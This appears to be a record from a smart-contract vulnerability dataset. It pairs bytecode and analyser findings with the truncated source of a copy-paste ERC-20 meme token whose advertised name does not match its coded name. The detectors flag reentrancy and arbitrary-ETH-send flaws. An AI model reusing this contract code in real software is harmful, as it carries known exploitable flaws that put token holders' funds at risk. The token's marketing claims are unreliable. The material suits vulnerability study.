fffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060046008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b600a6008819055506004600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220578cec1355041ade5026094180e3bd83b3633fd796288ae95b37757bc7a8f0d164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,827 |
0x3797919b5b0f3c995bf2de00c8a22597ba366da4
|
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-18
*/
/**
* .______ ______ ___ __ ___ _______
* | _ \ / | / \ | |/ / | ____|
* | |_) | | ,----' / ^ \ | ' / | |__
* | _ < | | / /_\ \ | < | __|
* | |_) | | `----./ _____ \ | . \ | |____
* |______/ \______/__/ \__\ |__|\__\ |_______|
* Birthday Cake Inu
* https://t.me/BirthdayCakeInu
* birthdayinu.com
*
* BCAKE is a meme token with a twist!
* BCAKE has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*
*
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BCAKE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Dogecoin Polytopia";
string private constant _symbol = unicode"POLYTOPIA";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
